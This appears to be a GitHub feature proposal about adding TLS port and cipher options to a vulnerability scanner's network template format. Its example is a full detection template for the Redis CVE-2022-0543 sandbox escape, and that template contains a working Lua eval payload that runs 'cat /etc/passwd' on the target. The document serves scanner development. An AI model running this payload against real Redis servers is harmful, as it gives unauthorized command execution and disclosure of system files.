TLS related enhancements in network protocol

[tarunKoyalwar]

Context

• Introduction of port field in network protocol fixed issue related to redundant dials to some hosts when input contains 80,443 ports in url and also reduced warnings generated due to closed port (ref:Input handling for network templates #3902)
• But this change did not mitigate the issue completely when service has a tls and non-tls port like below example

id: CVE-2022-0543

info:
  name: Redis Sandbox Escape - Remote Code Execution
  author: dwisiswant0
  severity: critical
  tags: cve,cve2022,network,redis,unauth,rce,kev

tcp:
  - host:
      - "{{Hostname}}"
      - "tls://{{Hostname}}"
    port: 6379

    inputs:
      - data: "eval 'local io_l = package.loadlib(\"/usr/lib/x86_64-linux-gnu/liblua5.1.so.0\", \"luaopen_io\"); local io = io_l(); local f = io.popen(\"cat /etc/passwd\", \"r\"); local res = f:read(\"*a\"); f:close(); return res' 0\r\n"
    read-size: 64

    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

In this example two dials will be made one to {{Hostname}}:6379 and other to tls://{{Hostname}}:6379 which is not correct since tls port is 6380 and not 6379
adding two values in port field like port: 6379,6380 will send total of 4 dials to host which is also not correct

• Another known issue is tls connection customization like tls version,cipher suites etc is not currently possible but required in some cases (ref: Enable network template to be configured with min/max tls version #3759)

Proposed Solution

• The simples solution seems to be adding a new field tls in network protocol to specify tls related customization. the final network protocol will look like below

id: CVE-2022-0543

info:
  name: Redis Sandbox Escape - Remote Code Execution
  author: dwisiswant0
  severity: critical
  tags: cve,cve2022,network,redis,unauth,rce,kev

tcp:
  - host:
      - "{{Hostname}}"
    port: 6379

    tls:
      port: 6380
      version: tls12
      cipher-suites:
        - TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
        - TLS_AES_128_CCM_SHA256
      mode: ztls
      # other tls related customization  from tlsx like client certificates etc


    inputs:
      - data: "eval 'local io_l = package.loadlib(\"/usr/lib/x86_64-linux-gnu/liblua5.1.so.0\", \"luaopen_io\"); local io = io_l(); local f = io.popen(\"cat /etc/passwd\", \"r\"); local res = f:read(\"*a\"); f:close(); return res' 0\r\n"
    read-size: 64

    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

this will work like a pitchfork where port field will be used for non-tls connection and tls.port field will be used for tls connection
the meaning of port field will not change in this context and will also comma seperated values like port: 22,2222 as introduced in recent release